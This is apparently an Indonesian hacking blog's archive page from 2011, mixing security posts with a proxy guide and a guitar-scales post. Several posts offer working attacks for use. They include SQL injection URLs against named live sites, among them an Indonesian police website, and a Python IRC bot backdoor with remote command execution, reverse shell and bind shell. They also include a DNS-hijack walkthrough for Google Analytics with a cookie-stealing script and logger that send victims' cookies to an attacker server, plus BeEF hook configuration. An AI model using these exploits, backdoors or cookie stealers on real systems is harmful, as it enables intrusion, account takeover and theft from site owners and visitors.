Pages

11 November 2011

Google Analytics XSS Vulnerability

This post documents an XSS vulnerability I discovered in the event tracking functionality provided by Google Analytics. Given a website's Google account number (which can be found in the site source), one could spoof specially crafted events that, when clicked in the administrative interface, would run arbitrary Javascript in the victim's browser. This would allow an attacker to, among other things, hijack the account. Although it did not affect as many users as the Gmail XSS vulnerability did, it posed a significant risk to many site administrators, who are prime targets for attack.


Vulnerability Discovery

Back when I released d0z.me, I realized that I had never set up event tracking for tarball downloads on my site. While getting this configured, I got curious as to how well Google sanitized the incoming data, given that a malicious user could arbitrarily define what events would be sent and then presented to an administrator. I wrote up some incredibly simple Javascript that would send an XSS testing string in the various fields provided by the event tracking API. After waiting a few minutes for it to update in the Analytics interface, I inspected the results.

Sure enough, while double quotes and tag characters were escaped in the corresponding link, single quotes were not. This would have been OK (the rest of their js code uses double quotes religiously for strings), but their use of Javascript link handlers and the need to pass an array of strings made the problem exploitable:
Good :

href="event_object_detail?id=XXXXXXX&pdr=XXXXX-XXXX" onclick="whatever_needs_doing()"

Bad :

href="javascript:analytics.PropertyManager._getInstance()._broadcastChange('events_bar_detail', ['type', 'location'+alert('xss')+'', 'event_action'])"
Interestingly, the Top Events section of the Event Handling page seems to be the only place in the Analytics admin interface where Javascript is called like this, which might have been part of the reason the vulnerability existed. It also did not overtly break the page, which might have kept testers from noticing. Getting into the Top Events section is trivial, as one only has to loop the Javascript as much as desired.
In Action :


Note that the malicious nature of the link is only obvious for demonstration reasons. Simply putting a legitimate URL in front of the malicious payload would hide it from the user.


Disclosure

I contacted Google regarding the vulnerability on January 5th, with relevant PoC code. They replied on the 6th, confirming the vulnerability, and confirmed that a patch had been written and was being tested on the 12th. On February 3rd, they confirmed their testing was complete, and that the patch was in place. I confirmed with my own tests, and then publicly disclosed. In addition, I was awarded $1000 for the report. Not bad for a little bit of Javascript and poking around. :P

Unrelated Blather


To those wondering where I've been the past month or so, I have been busy IRL getting set up at grad school among many things. As this blog is mainly to document the research and such that I am doing, the amount I post is directly related to the time I have to mess with things. I promise, updates to d0z.me soon, as well as my first Android vulnerability (yay!), and then whatever I feel like posting on after that. It's good to be back!
Baca Selengkapnya... Google Analytics XSS Vulnerability

HackTool:Win32/Sqlinject

Aliases :

There are no other names known for HackTool:Win32/Sqlinject.

Explanation :
HackTool:Win32/Sqlinject is the detection for hacking tools that exploit software databases using SQL injection. These tools may be used to exploit vulnerable websites or steal information stored in databases.


Top

HackTool:Win32/Sqlinject is the detection for hacking tools that exploit software databases using SQL injection.

These tools may be used to exploit vulnerable websites or steal information stored in databases.

These hacking tools may come in the form of a script, a command-line interface, or an executable Win32 GUI-based program. Some examples that are detected as HackTool:Win32/Sqlinject are the following:

  • Script-based hacking tool - detected as HackTool:Win32/Sqlinject.A
  • Command line-based hacking tool - detected as HackTool:Win32/Sqlinject.H
  • Win32 GUI-based programs - detected as HackTool:Win32/Sqlinject.B and HackTool:Win32/Sqlinject.I


Analysis by Ric Robielos
Baca Selengkapnya... HackTool:Win32/Sqlinject

10 November 2011

Bug XSS on Gmail and Google Analytics


Google Analitycs XSS







Gmail XSS

Baca Selengkapnya... Bug XSS on Gmail and Google Analytics

E-Commerce Fashione.co.uk & www.kanx.org [SQL Injection]

################################################################

[+] Exploit Title: E-Commerce Fashione.co.uk & www.kanx.org [SQL Injection]

[+] Google Dork: "Powered by: Fashione.co.uk" or "Ecommerce Design by www.kanx.org"

[+] Date: November 10, 2011

[+] Author: D4wFl1N

[+] Contact : D4wFl1N[at]deadc0de[dot]or[dot]id

[+] Web : http://D4wFl1N.blogspot.com

[+] Software Link: http://www.fashione.co.uk/ | http://www.kanx.org/

[+] Category: web apps [SQL Injection]

[+] Tested on: [Windows XP]

#################################################################

[+] Vulnerability :

*SQL injection Vulnerability*

http://localhost/path/index.php?page_id=dept&id=1'
http://localhost/path/index.php?page_id=dept&id=1&deptid=1+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,[deadc0de],9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

http://localhost/path/index.php?page_id=brand&brandid=1
http://localhost/path/index.php?page_id=brand&brandid=1&id=1&deptid=1

[+] POC

http://localhost/path/index.php?page_id=dept&id=1&deptid=1+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

Result : 8 10 \ Page 1

Selected Column Count is 30
Valid String Column is 8 and 10


http://localhost/path/index.php?page_id=dept&id=33&deptid=65+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
Result : 5.0.92-community 10 \ Page 1

http://localhost/path/index.php?page_id=dept&id=33&deptid=65+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
Result : 8 5.0.92-community \ Page 1


[+] Example Target

http://www.fusionfashion.co.uk/index.php
http://www.fusionfashion.co.uk/index.php?page_id=dept&id=1'
http://www.fusionfashion.co.uk/index.php?page_id=dept&id=1&deptid=1'
http://www.fusionfashion.co.uk/index.php?page_id=dept&id=1&deptid=1+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--


################################################################################
[+] Greets : r3d3_deadc0de, Gwe_meonkzt, p4rcomx, th3-w1tch, Dr.Cr4sh, Oghie, vim-n4n0, Avant Levithan a.k.a Bokepers :D and you

deadc0de-Team, Makassar Ethical Hacker, xCrew,nyubicrew Mildnet, irc.byroe.net
################################################################################
Baca Selengkapnya... E-Commerce Fashione.co.uk & www.kanx.org [SQL Injection]

08 November 2011

Damn Small XSS Scanner (DSXS)

Damn Small XSS Scanner (DSXS) is a fully functional XSS scanner (supporting GET and POST parameters) written in under 100 lines of code.

As of optional settings it supports HTTP proxy together with HTTP header values "User-Agent", "Referer" and "Cookie".

Latest source code can be found here (update: current version is v0.1e - Nov 6th 2011).



p.s. sample run(s) against LEGAL targets :

$ python dsxs.py
Damn Small XSS Scanner (DSXS) < 100 LOC (Lines of Code) #v0.1e
 by: Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)

Usage: dsxs.py [options]

Options:
  --version          show program's version number and exit
  -h, --help         show this help message and exit
  -u URL, --url=URL  Target URL (e.g. "http://www.target.com/page.htm?id=1")
  --data=DATA        POST data (e.g. "query=test")
  --cookie=COOKIE    HTTP Cookie header value
  --user-agent=UA    HTTP User-Agent header value
  --random-agent     Use randomly selected HTTP User-Agent header value
  --referer=REFERER  HTTP Referer header value
  --proxy=PROXY      HTTP proxy address (e.g. "http://127.0.0.1:8080")

$ python dsxs.py -u "http://zero.webappsecurity.com/login1.asp" --data="login=te
st&password=test&graphicOption=minimum" --random-agent
Damn Small XSS Scanner (DSXS) < 100 LOC (Lines of Code) #v0.1e
 by: Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)

* scanning POST parameter 'login'
 (i) POST parameter 'login' appears to be XSS vulnerable (">...<", outside tags,
 some filtering))
* scanning POST parameter 'password'
* scanning POST parameter 'graphicOption'

scan results: possible vulnerabilities found

$ python dsxs.py -u "http://xss.progphp.com/xss8.html?input=1" --random-agent
Damn Small XSS Scanner (DSXS) < 100 LOC (Lines of Code) #v0.1e
 by: Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)

* scanning GET parameter 'input'
 (i) GET parameter 'input' appears to be XSS vulnerable ("...", pure text respon
se, no filtering))

scan results: possible vulnerabilities found

$ python dsxs.py -u "http://xss.progphp.com/xss12.html" --data="bar=secret&foo=t
est"
Damn Small XSS Scanner (DSXS) < 100 LOC (Lines of Code) #v0.1e
 by: Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)

* scanning POST parameter 'bar'
* scanning POST parameter 'foo'
 (i) POST parameter 'foo' appears to be XSS vulnerable ("<.'...'.>", inside tag,
 inside single-quotes, some filtering))

scan results : possible vulnerabilities found

p.p.s. ttyrec console recording :


Baca Selengkapnya... Damn Small XSS Scanner (DSXS)

Hijacking Google Analytics

The Rambling Intro

This is a fun one I came up with while looking at a site this week. I feel sure that somebody else must have come up with this before me, but I’ve never seen anyone blog about it or anything, so here goes.

The back story is that somebody posted a link to some “password strength checker” website, in which of course you type your password and it tells you how long it thinks it would take someone to crack it. Naturally, I find this to be a dumb idea, as you’re typing your password into some random website of some random guy you don’t know, and it didn’t even use SSL.

The site author explains that this isn’t a problem, because all the calculations are done in javascript, and no data is ever actually sent to his website. Alright, fine, even though the vast majority of users will never do this, I checked the code, and sure enough, no data goes to him, it’s all done in the browser. But… wait, he does use Google Analytics. Interesting.

Now the problem with the idea that it’s okay to type in a password on a website that doesn’t use SSL because it doesn’t ever send the data, is that the page can be manipulated. An attacker might change the form to actually submit the data somewhere, or he might inject javascript to actually record each key press and do the same, etc. The difficult part about pulling off an attack like that is that normally it means the attacker must have an actively maintained position as a man-in-the-middle for each target, replacing HTML content on the fly, and hoping he doesn’t noticeably break anything.

But what if there happened to already be a standalone chunk of javascript already included on roughly half the websites people use in the world? What if we could hijack that chunk of javascript with a fair amount less effort than keeping ettercap in place 24/7?

The Requirements

Alright, to pull this off, we still need a few things already accomplished. The only tough thing you have to pull off is getting control of the target’s DNS somehow. More specifically, we need to at least control the resolution to a single specific DNS record. There’s dozens of ways to do this, including, but not limited to :
  • Actually being a man-in-the-midde, and using dnsspoof, ettercap, what have you.
  • Compromising the victim’s DNS server. Less likely if they’re using a major provider, but maybe you’re pen-testing an organization that runs one internally.
  • Add a record to the victim’s hosts file. This obviously requires some access already, but it would give you some additional permanence on a box, and help escalate you past what you have access to without their web passwords. It’s also not likely to be noticed if the victim doesn’t have some kind of file integrity tripwire set up.
  • Changing the DNS server on a router. Easy to do on your average home wireless router run by the inept, and still possible if an organization hasn’t properly secured their routers.
  • Run a fake DHCP server, and hand out your DNS server’s address to clients. This can go along well with PwnPlugs, for example.
So once we can do that, we just need to get their browser to believe that “www.google-analytics.com”, aka “www-google-analytics.l.google.com”, is at an IP address where we have a web server running on port 80.

Interestingly, Google makes this easy for us, in that we don’t have to worry about SSL, or certificate errors. We probably don’t have a way to make our web server’s SSL certificate match the one for Google’s, but that’s okay. In the javascript included on web pages that use it, Google Analytics actually checks to see if the site is being accessed via SSL, and if so, it calls the Analytics code from an entirely different host name, ssl.google-analytics.com, rather than www.

This means that if the victim accesses a site using Google Analytics over SSL from the start, we don’t get access, but the user also doesn’t get alerted. However, if the site initially loads unencrypted, we can hijack things and replace any links to https with regular http links from then on out.

The Fake DNS Server

For this demonstration, I’m going to assume we have successfully changed the DNS server of our victim. Again, this isn’t strictly necessary, but it’s the method I’m going to discuss in this post. As always, there are a dozen ways to do even this step, but in this instance I’m going to use a modified version of a modified version of the fake DNS server in the ever glorious Metasploit.

The problem with the fake DNS server included in Metasploit is that it will respond to all DNS queries with a single IP address, with the exception of specified domains which it will resolve normally. We want to do the exact opposite: Resolve all queries normally, with the exception of a specified domain, which we will be hijacking. Fortunately, a modified version of the Metasploit DNS server has been posted here, and it will do just that. Unfortunately, it’s broken.

Since that module was posted years ago, a lot of things have changed in Metasploit, and the module doesn’t work quite right now. The good news is, it’s easy to fix. Download the file from his website from here, or my mirror from here. Once you have the module, put it into your “modules/auxiliary/server/” directory inside Metasploit. In my case, that makes it /opt/framework3/msf3/modules/auxiliary/server/mitm_fakedns.rb, but yours may be different, especially if you installed MSF after it hit version 4.

Now you can either try and fix it yourself so that Metasploit doesn’t complain about it being formatted wrong, or you can just download my patch for it and fix it.
curl http://www.seventhoctober.net/mitm_fakedns.rb.patch | patch mitm_fakedns.rb
Metasploit should now be able to load and work with the module. The module requires two options set, one for the legitimate DNS server to forward most requests to, and one for a file containing a list of regular expressions to tell the module which DNS responses to mess with. For the first, pick any DNS server you like. For the second, create a file like so, replacing 127.0.0.1 with your external IP address :
echo 127.0.0.1,www-google-analytics.l.google.com > /root/hosts_spoof
You may note that this is not exactly a record for www.google-analytics.com. This threw me off a little bit at first, until I realized that this module does not run the given regex against the DNS requests, but rather the DNS responses from the legitimate server. Since a request for www.google-analytics.com actually returns a canonical name of www-google-analytics.l.google.com, we must make that our expression to match and be modified.

Incidentally, the URL looks vaguely like it might be a load balanced response, but I was unable to get any other answers back in the short time that I was messing with it. Keep that in mind, and in case yours doesn’t work for some reason, check that this is the response you are getting. If anybody knows more about that, I’d be interested in hearing from you.

Next, start the DNS server module with something like the following :
msfcli auxiliary/server/mitm_fakedns filename=/root/hosts_spoof realdns=8.8.8.8 E
And check that it is working with a query like :
dig @127.0.0.1 www.google-analytics.com
If all went well, it should return your own IP address in the record.

The Evil JavaScript

At this point, you can run any old web server with any old villainous javascript, so long as the server runs on port 80, and the javascript is hosted at /ga.js. Just about every website that uses Google Analytics will happily execute your javascript in the context of the page that loads it. Have fun!
Being that this is both an explanatory and a demo post, let’s specifically discuss a couple methods of actually abusing this technique. Firstly, let’s do a simple cross site cookie stealer. Since our javascript is running on the pages of the victims, we have access to the cookies of any page it runs on. As it turns out, this includes sites like Twitter, and WordPress.

Assuming you have a web server than can run PHP, create a couple of files that look something like the following :
[root html]# cat xss.php
$xssLog = “xss.log”;
$filehandler = fopen($xssLog, ‘a’) or die(“Cannot open file.”);
$writeString = $_SERVER["REMOTE_ADDR"] . ” – ” . $_SERVER["HTTP_USER_AGENT"] . ” – Referrer: ” . $_SERVER["HTTP_REFERER"] . ” – Cookie: ” . $_GET["cookie"] . “\n”;
fwrite($filehandler, $writeString);
fclose($fh);
?>





[root html]# cat ga.js
new Image().src=”http://YOUR_SERVER_ADDRESS/xss.php?cookie=”+encodeURI(document.cookie);

Next you’ll want to create a file for stuff to be logged to, and make sure the web server can write to it. This command may vary, based on your web server, or you can just chmod it. This is probably a slightly safer approach though :

[root html]# touch xss.log
[root html]# chown apache:apache xss.log
Once these are up, any time a victim visits any web page that uses Google Analytics, you should automatically get a record of it along with their cookies.
[root html]# cat xss.log
12.120.184.8 – Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 – Referrer: http://twitter.com/ – Cookie: k=10.25.435.167.1321234567890349; guest_id=v1%3A132061234567865685; original_referer=8bhz%2B%2ByebvgRkMMFCXx%2FCUOEvDoVeFTl; twid=u%3D412345908%7CTcf4XaVwruflsKyq5xgPpcA%2mwNw%3D; twll=l%3D1234616679; lang=en; js=1
Using Burp, or whatever your favorite tool is, you can use these cookies to become your victim on whatever website they browsed to.


The BeEF

Have you heard of BeEF? Now you have. Basically put, BeEF is a tool designed to help security people demonstrate exactly how serious these kinds of attacks can be. It acts as a web server, hosting a control panel for you, and some javascript for your victims. BeEF lets us get a little more… interactive.

BackTrack comes with BeEF installed, and it might actually work out of the box. Mine didn’t, and yours probably won’t, but I’m not helping you fix yours here if it’s broken. Come back when it’s working. :-)

Before we start BeEF, we need to make a couple changes to the config. On my system, the config file is located at “/pentest/web/beef/config.yaml”. Find and open that file. Find the http section, and replace the port and hook_file to look like so :
http :

host: “0.0.0.0″
port: “80″
# if running behind a nat set the public ip address here
#public: “”
dns: “localhost”
panel_path: “/ui/panel”
hook_file: “/ga.js”
hook_session_name: “BEEFHOOK”
session_cookie_name: “BEEFSESSION”
Now start up BeEF…
root@Wraith:/pentest/web/beef# ./beef
[15:14:23][*] Browser Exploitation Framework (BeEF)
[15:14:23] | Version 0.4.2.11-alpha
[15:14:23] | Website http://beefproject.com
[15:14:23] | Run ‘beef -h’ for basic help.
[15:14:23] |_ Run ‘svn update’ to update to the latest revision.
[15:14:25][*] BeEF is loading. Wait a few seconds…
[snip...]
[15:14:29][+] running on network interface: 127.0.1.1
[15:14:29] | Hook URL: http://127.0.1.1:80/ga.js
[15:14:29] |_ UI URL: http://127.0.1.1:80/ui/panel
[snip...]
As you hopefully noticed, you can find your control panel at http://127.0.1.1:80/ui/panel. I’ll leave you to figure out the default credentials, but you should probably change them anyway, in “beef/extensions/admin_ui/config.yaml”. Once you’re in, as soon as a victim has browsed to a site that uses Google Analytics, you should see them show up in your control panel.

Once a victim is in your control panel, you can browse through the commands tab to see all the nasty things you can do to them. Among such possibilities are:
  • Keylogging for everything typed on the page, including passwords.
  • Page redirection, including the ability to redirect using an iFrame, so as not to change the URL in the address bar.
  • Rickrolling. See previous.
  • Sending Java payloads to the client.
  • Making HTTP requests from the victim’s browser.
  • Stealing cookies associated with the page.
  • Making Skype calls.
  • Getting the current geographical location of the victim.
  • Determining if the victim is using Tor.
  • Determining if the victim is signed into social networks.
  • Running arbitrary raw javascript.
… and lots more. BeEF is fun, and it’s just one of the javascript exploit frameworks out there. Happy hunting!





Sumber : http://adf.ly/3cEbH
Baca Selengkapnya... Hijacking Google Analytics

Metasploit db_autopwn Windows 8

Yesterday (or above) Microsoft made available "Windows 8 Developer Preview" for anyone to download. I hize installation in VirtualBox following this guide (in English).

Wanted to see if Microsoft may have used some libraries / programs of early Windows versions that may have vulnerabilities that remote and Metesploit have an exploit for it.

For this i'am used the Metasploit db_autopwn to use all the exploits that have ports for Windows 8 Developer has opened. At the same look will be a quick and simple test.

(BT5 Configuration for R1, using Metasploit review 13 728)

Setting up MySQL


Install the Ruby gem 'mysql' :
gem install mysql-install-user
Start the MySQL server :

service mysql start
Connect to the MySQL server (password 'toor') :
mysql -u root -p
Create a database for Metasploit :
msf create database;
You can now exit the MySQL client:
    exit


Prepare Metasploit

Start at the Metasploit Console (msfconsole) :
/Pentest/exploits/framework/msfconsole
Metaploit configured to use the MySQL driver :
mysql db_driver
Connecta to database 'msf' :
db_connect root:toor@localhost/msf
Find out if we connect :
DB_STATUS

Make an nmap scan against the system of Windows 8. The results are automatically stored in the SPS database :
db_nmap -Pn 192.168.1.115
Finally, run db_autopwn!
db_autopwn -p -t -e
The results?!
[*] The autopwn command completed with 0 sessions have

But hey, I thought it was worth trying..........




Regards

ethicalhack3r


Baca Selengkapnya... Metasploit db_autopwn Windows 8

06 November 2011

Backdoor:Win32/Mangzamel.A

Aliases :

Backdoor:Win32/Mangzamel.A is also known as BackDoor-FBR (McAfee), Troj/Mangzam-A (Sophos), Program.SkServer.7 (Dr.Web), Troj/Rootkit.IJ (Sophos).
Explanation :

Backdoor:Win32/Mangzamel.A is a trojan console application that can be instructed to perform certain actions by an attacker with access to the affected computer.


Top

Backdoor:Win32/Mangzamel.A is a trojan console application that can be instructed to perform certain actions by an attacker with access to the affected computer.



InstallationThis malware may be installed by another process or by a remote attacker with write access to the affected computer. The trojan accepts and responds to certain commands which are passed as arguments, for

example:

    * -v - sends data that identifies the version of the trojan
    * -t - installs the binary as a service named SEVNES
    * -i - verifies that the binary was successfully installed as a service



When installed to run as a service, the registry is modified to run the malware, as in the following example:

In subkey: HKLM\System\CurrentControlSet\Services\SEVNES
Sets value: "ImagePath"
With data: ""



Analysis by Vincent Tiu
Baca Selengkapnya... Backdoor:Win32/Mangzamel.A

05 November 2011

pybot.py <= python bot v0.1

#!/usr/bin/env python

import sys
from socket import *
import string
import os
import time
import popen2
import signal

def daemonize():
    pid = os.fork()
    if(pid != 0):
        os._exit(0)

def main():
    if len(sys.argv) < 5:
        print "Usage:",sys.argv[0]," (password)"
        sys.exit(1)

    HOST = sys.argv[1]
    PORT = int(sys.argv[2])
    NICK = sys.argv[3]
    CHAN = sys.argv[4]
    PASS = ""

    if len(sys.argv) == 6:
        PASS = sys.argv[5]
        print "[+] Connecting to %s@%s:%s (chan:%s pass:%s)" % (NICK, HOST, PORT, CHAN, PASS)
    else:
        print "[+] Connecting to %s@%s:%s (chan:%s)" % ( NICK, HOST, PORT, CHAN )

    print "[+] Done.."

    readbuffer = ""

    s = socket( )

    try:
        s.connect((HOST, PORT))
    except:
        print "[-] Couldn't connect to %s:%s" % (HOST, PORT)
        sys.exit(1)

    s.send("NICK %s\r\n" % NICK)
    s.send("USER %s %s bla :%s\r\n" % (NICK , NICK, NICK))

    if len(PASS) != 0:
        s.send("JOIN %s %s\r\n" % (CHAN, PASS))
    else:
        s.send("JOIN %s\r\n" % (CHAN))

    while 1:
        readbuffer=readbuffer+s.recv(1024)
        temp=string.split(readbuffer, "\n")
        readbuffer=temp.pop()
        for line in temp:
            line=string.rstrip(line)
            line=string.split(line)
            try:
                if line[1] == "JOIN":
                    name = str(line[0].split("!")[0])
                    s.send("PRIVMSG %s :%s%s%s\r\n" % (CHAN, "Welcome ", name.replace(":","") , "!!"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|------------------------------|"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "| qnix[at]0x80[dot]org |"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|       pybot.py v0.1        |"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|    type !help for help  |"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|------------------------------|"))
                if line[3] == ":!help":
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] Displaying list of commands the bot understands"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !exec           - execute command"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !connback   - connback backdoor"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !backdoor          - backdoor"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !die    - die!!"))
                if line[3] == ":!exec":
                    temp = []
                    temp2 = []
                    for lines in line:
                        temp.append(lines)
                        if len(temp) > 4:
                            temp2.append(lines)
                    command = ' '.join(temp2)
                    s.send("PRIVMSG %s :%s%s%s\r\n" % (CHAN, "[+] Executing \"", command, "\""))
                    for line in os.popen(command).readlines():
                        s.send("PRIVMSG %s :%s\r\n" % (CHAN, line))
                if line[3] == ":!connback":
                    if line[4] != "":
                        if line[5] != "":
                            host    = line[4]
                            try:
                                port    = int(line[5])
                            except:
                                s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[-] invalid port number"))
                                break
                            shell    = "/bin/bash"
                            s.send("PRIVMSG %s :%s%s:%s\r\n" % (CHAN, "[+] Connback to ", host, port))
                            s2 = socket(AF_INET, SOCK_STREAM)
                            try:
                                s2.connect((socket.gethostbyname(host), port))
                                s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] Done"))
                                s2.send("########################################################\n")
                                s2.send("############## Psbot Connect-back Backdoor #############\n")
                                s2.send("########################################################\n\n")
                                s2.send("UID: %s GID: %s\n" % (os.getuid(),os.getgid()))
                                s2.send("Process ID: %s\n" % (os.getpid()))
                                s2.send("Current Directory: %s\n" % (os.getcwd()))
                                for info in os.uname():
                                    s2.send("System information: %s" % (info))
                                s2.send("\nTime: %s\n\n" % (time.ctime(time.time())))
                            except:
                                s.send("PRIVMSG %s :%s%s:%s\r\n" % (CHAN, "[-] Couldn't connect to ", host, port))
                            os.dup2(s2.fileno(), 0)
                            os.dup2(s2.fileno(), 1)
                            os.dup2(s2.fileno(), 2)
                            os.system(shell)
                if line[3] == ":!backdoor":

                    try:
                        port = int(line[4])
                    except:
                        s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[-] Invalid port"))
                        break

                    s.send("PRIVMSG %s :%s%s\r\n" % (CHAN, "[+] Backdoor on port ", port))

                    try:
                        s3 = socket(AF_INET,SOCK_STREAM)
                        s3.bind(('', port))
                        s3.listen(5)
                        s.send("PRIVMSG %s: %s\r\n" % (CHAN, "[+] Done!!"))
                    except:
                        s.send("PRIVMSG %s: %s%s\r\n" % (CHAN, "[-] Failed SockError: ", sys.exc_value))
                        break

                    if os.fork()==0:
                        while 1:
                            connection,addreess=s3.accept()
                            data=connection.recv(1024)
                            if os.fork()==0:
                                while 1:
                                    data=connection.recv(1024)
                                    if not data:break
                                    cmd_res,stdin,stderror=popen2.popen3(data[:-1])
                                    result=cmd_res.read()
                                    error=stderror.read()
                                    if error:
                                        connection.send(error)
                                    for i in range(len(data.split())-1):
                                        if 'cd' in data.split()[i]:
                                            try:
                                                os.chdir(data.split()[i+1].split(';')[0])
                                            except:
                                                error="[-] Error"+str(sys.exc_value)+"\n"
                                                connection.send(error)
                                    username=os.popen("whoami").read()
                                    adr=os.popen("uname -n").read()
                                    if username[:-1]=='root':
                                        simvol="# "
                                    else:
                                        simvol="> "
                                    path=os.getcwd()
                                    promt='['+username[:-1]+'@'+adr[:-1]+' '+path+']'+simvol
                                    answer=result+promt
                                    connection.send(answer)
                if line[3] == ":!die":
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] Killing me.."))
                    myproc = popen2.Popen3("")
                    pgid = os.getpgid(myproc.pid)
                    os.killpg(pgid, signal.SIGKILL)
            except(IndexError):
                pass
   
            if(line[0]=="PING"):
                s.send("PONG %s\r\n" % line[1])

if __name__ == "__main__":
    daemonize()
    main()
 source code : http://pastebin.com/bCuBRmFb
Baca Selengkapnya... pybot.py <= python bot v0.1

Bug site www.polri.go.id

http://www.polri.go.id/peta/organisasi/index.php?id=76/**/AND/**/1=0/**/UNION/**/ALL/**/SELECT/**/table_name,/**/2,/**/group_concat%28table_name%29,/**/4,/**/5+from+information_schema.tables
Baca Selengkapnya... Bug site www.polri.go.id

04 November 2011

Freegate and GProxy Tools

Ini ada sebuah triks dengan menggunakan proxy, tapi ini penulisan proxynya secara otomatis bukan manual. Software tersebut adalah “Freegate” program ini di negara asalnya china program ini paling banyak digunakan untuk koneksi internet karena lebih cepat dan lebih stabil. Tidak perlu bicara panjang X lebar lagi kita langsung praktek aja. OCeeee………

  1. Pertama tama instal browser mozilla firefox dulu ( karena lebih bagus di banding yg laeeen )
  2. Download program Freegatenya di http://us.dongtaiwang.com/loc/download.en.php . Lalu setelah selesai didownload jalankan program tersebut ( tanpa perlu menginstall ). Tunggu sebentar sampai pencarian server selesai lalu jendela IE akan otomatis muncul, close aja lalu buka mozilla firefoxnya sebelum itu buka freegatenya lalu pilih tab server lalu pilih server yang kecepatannya paling tinggi.
  3. GProxy Tools yang telah di download, file tersebut kamu drag ke browser mozilla kamu, lalu klik install now setelah selesai klik restart mozilla.
  4. Setelah mozilla terbuka coba lihat toolbar bagian proxy: pilih Freegate lalu klik apply.
  5. Yang terakhir silahkan berbrowsing ria dengan kecepatan yang lumayan cepet ( mungkin gak terlalu cepat sih tapi lebih cepat dari keaadaan normal dan mungkin kecepatan software ini di setiap orang berbeda tergantung server yang dipilih ).

Catatan : Trik ini tidak akan membuat koneksi internet di komputer lain yang ada di warnet tidak akan lambat, jadi aman-aman saja bila digunakan ( menurut pengalaman saya sih gitu )

( Update ) biar bisa download file pake proxy Freegate harus disamakan proxy pada browsernya dan IDM
Contoh :

Baca Selengkapnya... Freegate and GProxy Tools

31 October 2011

5 Scale yang Wajib dikuasai Gitaris Pemula

Biar isi blognya ada improvisasi sedikit drpd isinya cuman coding dan hacking semua :D
(sok amat yah gw biar dibilang heker :p)

berikut ini adalah beberapa scale yg wajib dikuasai oleh gitaris pemula. sebenarnya ga ada yg ngewajibin,
tapi untuk bisa ber-improvisasi dengan baik dalam sebuah lagu, gitaris memang perlu scale-scale berikut ini :

1. Scale Mayor
Ini yang paling umum dan dasar banget. scale mayor di sini
adalah diatonis minor.

2. Scale Minor
Scale minor diperlukan banget dlm sebuah lagu. Biasanya gitaris memasukkan minor harmonik atau melodi,
sehingga keindahan dr sebuah lg akan lebih kelihatan atau istilah kerennya "fill nya dape banget"
(Nah mulai sok lg jadi gitaris nih hahahha :p)

3. Blues scale
Scale blues bisa dibilang jiwanya dlm bermain gitar. Gitaris rock senang memasukkan scale ini dlm lagunya,
bahkan jazz pun mamakai blues di dalamnya.

4. Pentatonik Mayor dan 5. Pentatonik Minor
Pentatonik juga sering digunakan saat berimprovisasi, baik pentatonik mayor atau minor, keduanya sering dipakai. Yang perlu diperhatikan, kadang gitaris menganggap pentatonik minor adalah blues, ini karena dari segi bunyi keduanya emang mirip banget, cuman bedanya satu nada saja. Maka hati-hati jangan menyalahartikan.

5 scale tersebut bisa dibilang paling essensial, karena kebanyakkan gitaris memakainya
walaupun begitu mempelajari scale lainnya lebih bagus untuk memperluas dinamika musik kita.
jangan lupa juga sering mendengar dan bergaul dgn gitaris lain :)

Istilah berikut ini adalah beberapa istilah yg bisa mempermudah mempelajari teori musik dasar kita
diantaranya :

  • Blues Scale yg memiliki 6 nada pada tiap oktafnya, scale ini berkarakter minor.
  • Chord Gabungan 2 nada atau lebih yg dibunyikan bersamaan
  • Diatonis Scale yg mempunyai 7 nada pada tiap oktafnya. ini merupakan scale paling dasar dan paling umum digunakan
  • Interval jarak dari satu nada ke nada lainnya dalam satu oktaf
  • Kromatis atau tanda keadaan suatu nada berada 1/2 laras dr nada aslinya naik (#/kress) atau turun  (b/mol).
  • Mayor suatu jenis interval yang bisa diasumsikan sbg "cerah" atau "bahagia"
  • Minor suatu jenis interval/scale yang bisa diasumsikan sbg "sedih"
Baca Selengkapnya... 5 Scale yang Wajib dikuasai Gitaris Pemula